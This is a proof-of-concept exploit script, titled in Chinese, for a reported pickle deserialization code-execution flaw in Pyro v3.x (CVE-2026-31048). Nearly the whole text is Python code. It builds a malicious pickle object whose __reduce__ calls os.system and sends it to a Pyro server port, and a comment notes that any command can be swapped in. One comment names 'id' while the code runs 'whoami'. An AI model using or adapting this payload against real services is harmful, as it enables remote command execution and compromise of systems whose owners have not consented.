CVE-2026-31048 Pyro v3.x pickle协议任意代码执行漏洞

import pickle import os import socket # Target configuration TARGET_HOST = '127.0.0.1' TARGET_PORT = 9090 # Default Pyro port might vary # Malicious payload generation using pickle # __reduce__ returns a tuple (callable, args) that pickle executes during deserialization class MaliciousPayload: def __reduce__(self): # Execute 'id' command (can be replaced with any command) return (os.system, ('whoami',)) # Create the pickled malicious object malicious_data = pickle.dumps(MaliciousPayload()) print(f"[+] Sending malicious payload of length {len(malicious_data)}...") # Send payload to the vulnerable Pyro server try: s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((TARGET_HOST, TARGET_PORT)) # Depending on the specific Pyro protocol implementation, # headers or specific framing might be required. # This demonstrates the raw concept of sending the pickle data. s.sendall(malicious_data) print("[+] Payload sent successfully.") s.close() except Exception as e: print(f"[-] Error: {e}")